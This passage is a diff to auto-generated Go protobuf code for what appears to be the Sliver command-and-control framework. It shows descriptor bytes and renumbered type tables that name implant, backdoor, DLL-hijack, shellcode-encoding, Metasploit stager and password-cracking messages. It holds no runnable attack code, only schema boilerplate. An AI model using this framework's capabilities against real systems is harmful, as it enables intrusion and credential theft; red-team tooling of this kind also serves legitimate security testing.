0xbc, 0x37, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x10, 0x8f, 0x4e, + 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, + 0x80, 0x19, 0x12, 0x16, 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x43, 0x52, 0x59, + 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, 0x2a, 0x32, 0x0a, 0x06, 0x53, 0x74, + 0x61, 0x74, 0x65, 0x73, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0c, + 0x0a, 0x08, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, + 0x49, 0x4e, 0x49, 0x54, 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x2a, 0x3c, + 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, + 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, 0x53, 0x53, 0x10, + 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, 0x44, 0x10, 0x01, + 0x12, 0x0a, 0x0a, 0x06, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, 0x94, 0x01, 0x0a, + 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, + 0x12, 0x0c, 0x0a, 0x08, 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, 0x48, 0x54, 0x10, 0x00, 0x12, 0x0f, + 0x0a, 0x0b, 0x43, 0x4f, 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, + 0x0e, 0x0a, 0x0a, 0x42, 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x10, 0x03, 0x12, + 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, + 0x53, 0x54, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, + 0x52, 0x49, 0x44, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, + 0x54, 0x10, 0x07, 0x12, 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, 0x4f, 0x43, 0x49, 0x41, 0x54, 0x49, + 0x4f, 0x4e, 0x10, 0x09, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, 0x5f, 0x41, 0x54, 0x54, 0x41, 0x43, + 0x4b, 0x10, 0x0a, 0x2a, 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, + 0x45, 0x4e, 0x43, 0x4f, 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x53, + 0x4f, 0x5f, 0x38, 0x38, 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, 0x01, 0x12, 0x0c, 0x0a, 0x08, 0x55, + 0x54, 0x46, 0x5f, 0x33, 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, 0x90, 0x01, 0x0a, 0x12, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x12, 0x12, 0x0a, 0x0e, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x46, 0x4f, 0x52, 0x4d, + 0x41, 0x54, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, 0x53, 0x48, 0x5f, 0x53, 0x41, 0x4c, + 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x02, 0x12, 0x0d, + 0x0a, 0x09, 0x48, 0x45, 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x03, 0x12, 0x0d, 0x0a, + 0x09, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, 0x10, 0x04, 0x12, 0x16, 0x0a, 0x12, + 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x41, 0x42, 0x53, 0x4f, 0x4c, 0x55, + 0x54, 0x45, 0x10, 0x05, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, + 0x50, 0x5f, 0x52, 0x45, 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, 0x10, 0x06, 0x2a, 0x63, 0x0a, 0x14, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, + 0x57, 0x4f, 0x52, 0x4b, 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, 0x52, 0x4f, 0x46, 0x49, 0x4c, 0x45, + 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x44, + 0x45, 0x46, 0x41, 0x55, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x49, 0x47, 0x48, + 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x49, 0x47, 0x48, 0x54, 0x4d, 0x41, 0x52, 0x45, 0x10, + 0x04, 0x2a, 0x4e, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, + 0x70, 0x65, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x54, 0x59, + 0x50, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, + 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, 0x53, 0x10, 0x02, 0x12, 0x12, 0x0a, + 0x0e, 0x4d, 0x41, 0x52, 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, 0x53, 0x54, 0x41, 0x54, 0x32, 0x10, + 0x03, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, + 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -11007,7 +11559,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte { } var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 12) -var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 112) +var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 118) var file_clientpb_client_proto_goTypes = []interface{}{ (OutputFormat)(0), // 0: clientpb.OutputFormat (StageProtocol)(0), // 1: clientpb.StageProtocol @@ -11022,222 +11574,235 @@ var file_clientpb_client_proto_goTypes = []interface{}{ (CrackWorkloadProfile)(0), // 10: clientpb.CrackWorkloadProfile (CrackFileType)(0), // 11: clientpb.CrackFileType (*Version)(nil), // 12: clientpb.Version - (*ClientLogData)(nil), // 13: clientpb.ClientLogData - (*Session)(nil), // 14: clientpb.Session - (*Beacon)(nil), // 15: clientpb.Beacon - (*Beacons)(nil), // 16: clientpb.Beacons - (*BeaconTask)(nil), // 17: clientpb.BeaconTask - (*BeaconTasks)(nil), // 18: clientpb.BeaconTasks - (*ImplantC2)(nil), // 19: clientpb.ImplantC2 - (*ImplantConfig)(nil), // 20: clientpb.ImplantConfig - (*TrafficEncoder)(nil), // 21: clientpb.TrafficEncoder - (*TrafficEncoderMap)(nil), // 22: clientpb.TrafficEncoderMap - (*TrafficEncoderTest)(nil), // 23: clientpb.TrafficEncoderTest - (*TrafficEncoderTests)(nil), // 24: clientpb.TrafficEncoderTests - (*ExternalImplantConfig)(nil), // 25: clientpb.ExternalImplantConfig - (*ExternalImplantBinary)(nil), // 26: clientpb.ExternalImplantBinary - (*ImplantBuilds)(nil), // 27: clientpb.ImplantBuilds - (*CompilerTarget)(nil), // 28: clientpb.CompilerTarget - (*CrossCompiler)(nil), // 29: clientpb.CrossCompiler - (*Compiler)(nil), // 30: clientpb.Compiler - (*DeleteReq)(nil), // 31: clientpb.DeleteReq - (*DNSCanary)(nil), // 32: clientpb.DNSCanary - (*Canaries)(nil), // 33: clientpb.Canaries - (*UniqueWGIP)(nil), // 34: clientpb.UniqueWGIP - (*ImplantProfile)(nil), // 35: clientpb.ImplantProfile - (*ImplantProfiles)(nil), // 36: clientpb.ImplantProfiles - (*RegenerateReq)(nil), // 37: clientpb.RegenerateReq - (*Job)(nil), // 38: clientpb.Job - (*Jobs)(nil), // 39: clientpb.Jobs - (*KillJobReq)(nil), // 40: clientpb.KillJobReq - (*KillJob)(nil), // 41: clientpb.KillJob - (*MTLSListenerReq)(nil), // 42: clientpb.MTLSListenerReq - (*MTLSListener)(nil), // 43: clientpb.MTLSListener - (*WGListenerReq)(nil), // 44: clientpb.WGListenerReq - (*WGListener)(nil), // 45: clientpb.WGListener - (*DNSListenerReq)(nil), // 46: clientpb.DNSListenerReq - (*DNSListener)(nil), // 47: clientpb.DNSListener - (*HTTPListenerReq)(nil), // 48: clientpb.HTTPListenerReq - (*NamedPipesReq)(nil), // 49: clientpb.NamedPipesReq - (*NamedPipes)(nil), // 50: clientpb.NamedPipes - (*TCPPivotReq)(nil), // 51: clientpb.TCPPivotReq - (*TCPPivot)(nil), // 52: clientpb.TCPPivot - (*HTTPListener)(nil), // 53: clientpb.HTTPListener - (*Sessions)(nil), // 54: clientpb.Sessions - (*RenameReq)(nil), // 55: clientpb.RenameReq - (*GenerateReq)(nil), // 56: clientpb.GenerateReq - (*Generate)(nil), // 57: clientpb.Generate - (*MSFReq)(nil), // 58: clientpb.MSFReq - (*MSFRemoteReq)(nil), // 59: clientpb.MSFRemoteReq - (*StagerListenerReq)(nil), // 60: clientpb.StagerListenerReq - (*StagerListener)(nil), // 61: clientpb.StagerListener - (*ShellcodeRDIReq)(nil), // 62: clientpb.ShellcodeRDIReq - (*ShellcodeRDI)(nil), // 63: clientpb.ShellcodeRDI - (*MsfStagerReq)(nil), // 64: clientpb.MsfStagerReq - (*MsfStager)(nil), // 65: clientpb.MsfStager - (*GetSystemReq)(nil), // 66: clientpb.GetSystemReq - (*MigrateReq)(nil), // 67: clientpb.MigrateReq - (*CreateTunnelReq)(nil), // 68: clientpb.CreateTunnelReq - (*CreateTunnel)(nil), // 69: clientpb.CreateTunnel - (*CloseTunnelReq)(nil), // 70: clientpb.CloseTunnelReq - (*PivotGraphEntry)(nil), // 71: clientpb.PivotGraphEntry - (*PivotGraph)(nil), // 72: clientpb.PivotGraph - (*Client)(nil), // 73: clientpb.Client - (*Event)(nil), // 74: clientpb.Event - (*Operators)(nil), // 75: clientpb.Operators - (*Operator)(nil), // 76: clientpb.Operator - (*WebContent)(nil), // 77: clientpb.WebContent - (*WebsiteAddContent)(nil), // 78: clientpb.WebsiteAddContent - (*WebsiteRemoveContent)(nil), // 79: clientpb.WebsiteRemoveContent - (*Website)(nil), // 80: clientpb.Website - (*Websites)(nil), // 81: clientpb.Websites - (*WGClientConfig)(nil), // 82: clientpb.WGClientConfig - (*Loot)(nil), // 83: clientpb.Loot - (*AllLoot)(nil), // 84: clientpb.AllLoot - (*IOC)(nil), // 85: clientpb.IOC - (*ExtensionData)(nil), // 86: clientpb.ExtensionData - (*Host)(nil), // 87: clientpb.Host - (*AllHosts)(nil), // 88: clientpb.AllHosts - (*DllHijackReq)(nil), // 89: clientpb.DllHijackReq - (*DllHijack)(nil), // 90: clientpb.DllHijack - (*BackdoorReq)(nil), // 91: clientpb.BackdoorReq - (*Backdoor)(nil), // 92: clientpb.Backdoor - (*ShellcodeEncodeReq)(nil), // 93: clientpb.ShellcodeEncodeReq - (*ShellcodeEncode)(nil), // 94: clientpb.ShellcodeEncode - (*ShellcodeEncoderMap)(nil), // 95: clientpb.ShellcodeEncoderMap - (*ExternalGenerateReq)(nil), // 96: clientpb.ExternalGenerateReq - (*Builders)(nil), // 97: clientpb.Builders - (*Builder)(nil), // 98: clientpb.Builder - (*Credential)(nil), // 99: clientpb.Credential - (*Credentials)(nil), // 100: clientpb.Credentials - (*Crackstations)(nil), // 101: clientpb.Crackstations - (*CrackstationStatus)(nil), // 102: clientpb.CrackstationStatus - (*CrackSyncStatus)(nil), // 103: clientpb.CrackSyncStatus - (*CrackBenchmark)(nil), // 104: clientpb.CrackBenchmark - (*CrackTask)(nil), // 105: clientpb.CrackTask - (*Crackstation)(nil), // 106: clientpb.Crackstation - (*CUDABackendInfo)(nil), // 107: clientpb.CUDABackendInfo - (*OpenCLBackendInfo)(nil), // 108: clientpb.OpenCLBackendInfo - (*MetalBackendInfo)(nil), // 109: clientpb.MetalBackendInfo - (*CrackCommand)(nil), // 110: clientpb.CrackCommand - (*CrackConfig)(nil), // 111: clientpb.CrackConfig - (*CrackFiles)(nil), // 112: clientpb.CrackFiles - (*CrackFile)(nil), // 113: clientpb.CrackFile - (*CrackFileChunk)(nil), // 114: clientpb.CrackFileChunk - nil, // 115: clientpb.TrafficEncoderMap.EncodersEntry - nil, // 116: clientpb.ImplantBuilds.ConfigsEntry - nil, // 117: clientpb.WebsiteAddContent.ContentsEntry - nil, // 118: clientpb.Website.ContentsEntry - nil, // 119: clientpb.Host.ExtensionDataEntry - nil, // 120: clientpb.ShellcodeEncoderMap.EncodersEntry - nil, // 121: clientpb.CrackSyncStatus.ProgressEntry - nil, // 122: clientpb.CrackBenchmark.BenchmarksEntry - nil, // 123: clientpb.Crackstation.BenchmarksEntry - (*commonpb.File)(nil), // 124: commonpb.File - (*commonpb.Request)(nil), // 125: commonpb.Request - (*commonpb.Response)(nil), // 126: commonpb.Response + (*Users)(nil), // 13: clientpb.Users + (*User)(nil), // 14: clientpb.User + (*ClientLogData)(nil), // 15: clientpb.ClientLogData + (*ImplantCommand)(nil), // 16: clientpb.ImplantCommand + (*HistoryRequest)(nil), // 17: clientpb.HistoryRequest + (*History)(nil), // 18: clientpb.History + (*Session)(nil), // 19: clientpb.Session + (*Beacon)(nil), // 20: clientpb.Beacon + (*Beacons)(nil), // 21: clientpb.Beacons + (*BeaconTask)(nil), // 22: clientpb.BeaconTask + (*BeaconTasks)(nil), // 23: clientpb.BeaconTasks + (*ImplantC2)(nil), // 24: clientpb.ImplantC2 + (*ImplantConfig)(nil), // 25: clientpb.ImplantConfig + (*TrafficEncoder)(nil), // 26: clientpb.TrafficEncoder + (*TrafficEncoderMap)(nil), // 27: clientpb.TrafficEncoderMap + (*TrafficEncoderTest)(nil), // 28: clientpb.TrafficEncoderTest + (*TrafficEncoderTests)(nil), // 29: clientpb.TrafficEncoderTests + (*ExternalImplantConfig)(nil), // 30: clientpb.ExternalImplantConfig + (*ExternalImplantBinary)(nil), // 31: clientpb.ExternalImplantBinary + (*ImplantBuilds)(nil), // 32: clientpb.ImplantBuilds + (*CompilerTarget)(nil), // 33: clientpb.CompilerTarget + (*CrossCompiler)(nil), // 34: clientpb.CrossCompiler + (*Compiler)(nil), // 35: clientpb.Compiler + (*MetasploitModule)(nil), // 36: clientpb.MetasploitModule + (*MetasploitCompiler)(nil), // 37: clientpb.MetasploitCompiler + (*DeleteReq)(nil), // 38: clientpb.DeleteReq + (*DNSCanary)(nil), // 39: clientpb.DNSCanary + (*Canaries)(nil), // 40: clientpb.Canaries + (*UniqueWGIP)(nil), // 41: clientpb.UniqueWGIP + (*ImplantProfile)(nil), // 42: clientpb.ImplantProfile + (*ImplantProfiles)(nil), // 43: clientpb.ImplantProfiles + (*RegenerateReq)(nil), // 44: clientpb.RegenerateReq + (*Job)(nil), // 45: clientpb.Job + (*Jobs)(nil), // 46: clientpb.Jobs + (*KillJobReq)(nil), // 47: clientpb.KillJobReq + (*KillJob)(nil), // 48: clientpb.KillJob + (*MTLSListenerReq)(nil), // 49: clientpb.MTLSListenerReq + (*MTLSListener)(nil), // 50: clientpb.MTLSListener + (*WGListenerReq)(nil), // 51: clientpb.WGListenerReq + (*WGListener)(nil), // 52: clientpb.WGListener + (*DNSListenerReq)(nil), // 53: clientpb.DNSListenerReq + (*DNSListener)(nil), // 54: clientpb.DNSListener + (*HTTPListenerReq)(nil), // 55: clientpb.HTTPListenerReq + (*NamedPipesReq)(nil), // 56: clientpb.NamedPipesReq + (*NamedPipes)(nil), // 57: clientpb.NamedPipes + (*TCPPivotReq)(nil), // 58: clientpb.TCPPivotReq + (*TCPPivot)(nil), // 59: clientpb.TCPPivot + (*HTTPListener)(nil), // 60: clientpb.HTTPListener + (*Sessions)(nil), // 61: clientpb.Sessions + (*RenameReq)(nil), // 62: clientpb.RenameReq + (*GenerateReq)(nil), // 63: clientpb.GenerateReq + (*Generate)(nil), // 64: clientpb.Generate + (*MSFReq)(nil), // 65: clientpb.MSFReq + (*MSFRemoteReq)(nil), // 66: clientpb.MSFRemoteReq + (*StagerListenerReq)(nil), // 67: clientpb.StagerListenerReq + (*StagerListener)(nil), // 68: clientpb.StagerListener + (*ShellcodeRDIReq)(nil), // 69: clientpb.ShellcodeRDIReq + (*ShellcodeRDI)(nil), // 70: clientpb.ShellcodeRDI + (*MsfStagerReq)(nil), // 71: clientpb.MsfStagerReq + (*MsfStager)(nil), // 72: clientpb.MsfStager + (*GetSystemReq)(nil), // 73: clientpb.GetSystemReq + (*MigrateReq)(nil), // 74: clientpb.MigrateReq + (*CreateTunnelReq)(nil), // 75: clientpb.CreateTunnelReq + (*CreateTunnel)(nil), // 76: clientpb.CreateTunnel + (*CloseTunnelReq)(nil), // 77: clientpb.CloseTunnelReq + (*PivotGraphEntry)(nil), // 78: clientpb.PivotGraphEntry + (*PivotGraph)(nil), // 79: clientpb.PivotGraph + (*Client)(nil), // 80: clientpb.Client + (*Event)(nil), // 81: clientpb.Event + (*Operator)(nil), // 82: clientpb.Operator + (*WebContent)(nil), // 83: clientpb.WebContent + (*WebsiteAddContent)(nil), // 84: clientpb.WebsiteAddContent + (*WebsiteRemoveContent)(nil), // 85: clientpb.WebsiteRemoveContent + (*Website)(nil), // 86: clientpb.Website + (*Websites)(nil), // 87: clientpb.Websites + (*WGClientConfig)(nil), // 88: clientpb.WGClientConfig + (*Loot)(nil), // 89: clientpb.Loot + (*AllLoot)(nil), // 90: clientpb.AllLoot + (*IOC)(nil), // 91: clientpb.IOC + (*ExtensionData)(nil), // 92: clientpb.ExtensionData + (*Host)(nil), // 93: clientpb.Host + (*AllHosts)(nil), // 94: clientpb.AllHosts + (*DllHijackReq)(nil), // 95: clientpb.DllHijackReq + (*DllHijack)(nil), // 96: clientpb.DllHijack + (*BackdoorReq)(nil), // 97: clientpb.BackdoorReq + (*Backdoor)(nil), // 98: clientpb.Backdoor + (*ShellcodeEncodeReq)(nil), // 99: clientpb.ShellcodeEncodeReq + (*ShellcodeEncode)(nil), // 100: clientpb.ShellcodeEncode + (*ShellcodeEncoderMap)(nil), // 101: clientpb.ShellcodeEncoderMap + (*ExternalGenerateReq)(nil), // 102: clientpb.ExternalGenerateReq + (*Builders)(nil), // 103: clientpb.Builders + (*Builder)(nil), // 104: clientpb.Builder + (*Credential)(nil), // 105: clientpb.Credential + (*Credentials)(nil), // 106: clientpb.Credentials + (*Crackstations)(nil), // 107: clientpb.Crackstations + (*CrackstationStatus)(nil), // 108: clientpb.CrackstationStatus + (*CrackSyncStatus)(nil), // 109: clientpb.CrackSyncStatus + (*CrackBenchmark)(nil), // 110: clientpb.CrackBenchmark + (*CrackTask)(nil), // 111: clientpb.CrackTask + (*Crackstation)(nil), // 112: clientpb.Crackstation + (*CUDABackendInfo)(nil), // 113: clientpb.CUDABackendInfo + (*OpenCLBackendInfo)(nil), // 114: clientpb.OpenCLBackendInfo + (*MetalBackendInfo)(nil), // 115: clientpb.MetalBackendInfo + (*CrackCommand)(nil), // 116: clientpb.CrackCommand + (*CrackConfig)(nil), // 117: clientpb.CrackConfig + (*CrackFiles)(nil), // 118: clientpb.CrackFiles + (*CrackFile)(nil), // 119: clientpb.CrackFile + (*CrackFileChunk)(nil), // 120: clientpb.CrackFileChunk + nil, // 121: clientpb.TrafficEncoderMap.EncodersEntry + nil, // 122: clientpb.ImplantBuilds.ConfigsEntry + nil, // 123: clientpb.WebsiteAddContent.ContentsEntry + nil, // 124: clientpb.Website.ContentsEntry + nil, // 125: clientpb.Host.ExtensionDataEntry + nil, // 126: clientpb.ShellcodeEncoderMap.EncodersEntry + nil, // 127: clientpb.CrackSyncStatus.ProgressEntry + nil, // 128: clientpb.CrackBenchmark.BenchmarksEntry + nil, // 129: clientpb.Crackstation.BenchmarksEntry + (*commonpb.Request)(nil), // 130: commonpb.Request + (*commonpb.Response)(nil), // 131: commonpb.Response + (*commonpb.File)(nil), // 132: commonpb.File } var file_clientpb_client_proto_depIdxs = []int32{ - 15, // 0: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon - 17, // 1: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask - 19, // 2: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2 - 0, // 3: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat - 124, // 4: clientpb.ImplantConfig.Assets:type_name -> commonpb.File - 124, // 5: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File - 115, // 6: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry - 21, // 7: clientpb.TrafficEncoderTests.Encoder:type_name -> clientpb.TrafficEncoder - 23, // 8: clientpb.TrafficEncoderTests.Tests:type_name -> clientpb.TrafficEncoderTest - 20, // 9: clientpb.ExternalImplantConfig.Config:type_name -> clientpb.ImplantConfig - 124, // 10: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File - 116, // 11: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry - 0, // 12: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat - 28, // 13: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget - 29, // 14: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler - 28, // 15: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget - 32, // 16: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary - 20, // 17: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig - 35, // 18: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile - 38, // 19: clientpb.Jobs.Active:type_name -> clientpb.Job - 125, // 20: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request - 126, // 21: clientpb.NamedPipes.Response:type_name -> commonpb.Response - 125, // 22: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request - 126, // 23: clientpb.TCPPivot.Response:type_name -> commonpb.Response - 14, // 24: clientpb.Sessions.Sessions:type_name -> clientpb.Session - 20, // 25: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig - 124, // 26: clientpb.Generate.File:type_name -> commonpb.File - 125, // 27: clientpb.MSFReq.Request:type_name -> commonpb.Request - 125, // 28: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request - 1, // 29: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol - 1, // 30: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol - 124, // 31: clientpb.MsfStager.File:type_name -> commonpb.File - 20, // 32: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig - 125, // 33: clientpb.GetSystemReq.Request:type_name -> commonpb.Request - 20, // 34: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig - 3, // 35: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 125, // 36: clientpb.MigrateReq.Request:type_name -> commonpb.Request - 125, // 37: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request - 125, // 38: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request - 14, // 39: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session - 71, // 40: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry - 71, // 41: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry - 76, // 42: clientpb.Client.Operator:type_name -> clientpb.Operator - 14, // 43: clientpb.Event.Session:type_name -> clientpb.Session - 38, // 44: clientpb.Event.Job:type_name -> clientpb.Job - 73, // 45: clientpb.Event.Client:type_name -> clientpb.Client - 76, // 46: clientpb.Operators.Operators:type_name -> clientpb.Operator - 117, // 47: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry - 118, // 48: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry - 80, // 49: clientpb.Websites.Websites:type_name -> clientpb.Website - 2, // 50: clientpb.Loot.FileType:type_name -> clientpb.FileType - 124, // 51: clientpb.Loot.File:type_name -> commonpb.File - 83, // 52: clientpb.AllLoot.Loot:type_name -> clientpb.Loot - 85, // 53: clientpb.Host.IOCs:type_name -> clientpb.IOC - 119, // 54: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry - 87, // 55: clientpb.AllHosts.Hosts:type_name -> clientpb.Host - 125, // 56: clientpb.DllHijackReq.Request:type_name -> commonpb.Request - 126, // 57: clientpb.DllHijack.Response:type_name -> commonpb.Response - 125, // 58: clientpb.BackdoorReq.Request:type_name -> commonpb.Request - 126, // 59: clientpb.Backdoor.Response:type_name -> commonpb.Response - 3, // 60: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 125, // 61: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request - 126, // 62: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response - 120, // 63: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry - 20, // 64: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig - 98, // 65: clientpb.Builders.Builders:type_name -> clientpb.Builder - 28, // 66: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget - 29, // 67: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler - 4, // 68: clientpb.Credential.HashType:type_name -> clientpb.HashType - 99, // 69: clientpb.Credentials.Credentials:type_name -> clientpb.Credential - 106, // 70: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation - 5, // 71: clientpb.CrackstationStatus.State:type_name -> clientpb.States - 103, // 72: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus - 121, // 73: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry - 122, // 74: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry - 110, // 75: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand - 123, // 76: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry - 107, // 77: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo - 109, // 78: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo - 108, // 79: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo - 7, // 80: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode - 4, // 81: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType - 9, // 82: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat - 8, // 83: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding - 8, // 84: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding - 10, // 85: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile - 113, // 86: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile - 11, // 87: 